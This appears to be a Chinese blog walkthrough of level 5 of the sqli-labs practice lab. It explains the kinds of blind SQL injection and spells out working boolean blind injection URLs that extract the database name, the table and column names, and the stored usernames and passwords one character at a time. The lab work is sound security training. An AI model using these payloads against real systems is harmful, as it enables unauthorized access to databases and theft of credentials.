本文发布于818天前,本文最后更新于818 天前,其中的信息可能已经过时,如有错误请留言或评论。
这一关发现没有回显,对于报错页面不一样,但是其他什么就没有了。联合注入需要页面有回显位。所以只能尝试进行报错盲注。
- 基于布尔的SQL盲注-逻辑判断 regexp, like, ascii, left, ord, mid,length
- 基于时间的SQL盲注-延时判断if, sleep
- 基于报错的SQL盲注-报错回显floor, updatexml,extractvalue
如果数据不显示只有对错页面显示我们可以选择布尔盲注。
- substr(a,b,c) #从b位置开始,截取字符串a的c长度
http://127.0.0.1:8080/Less-5/?id=1'and length((select database()))>7--+ #>7页面正常>8页面为报错页面,因此判断数据库名字长度为8 #length()用于获取字符串长度,select database()获得数据库名,判断条件是否成立 #因为是and,因此若后式为假,则出现报错界面,以此判断注入是否成功 http://127.0.0.1:8080/Less-5/?id=1'and ascii(substr((select database()),1,1))=115--+ #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。 ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+ #判断所有表名字符长度。 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ #逐一判断表名 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ #判断所有字段名的长度 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+ #逐一判断字段名。 ?id=1' and length((select group_concat(username,password) from users))>109--+ #判断字段内容长度 ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ #逐一检测内容。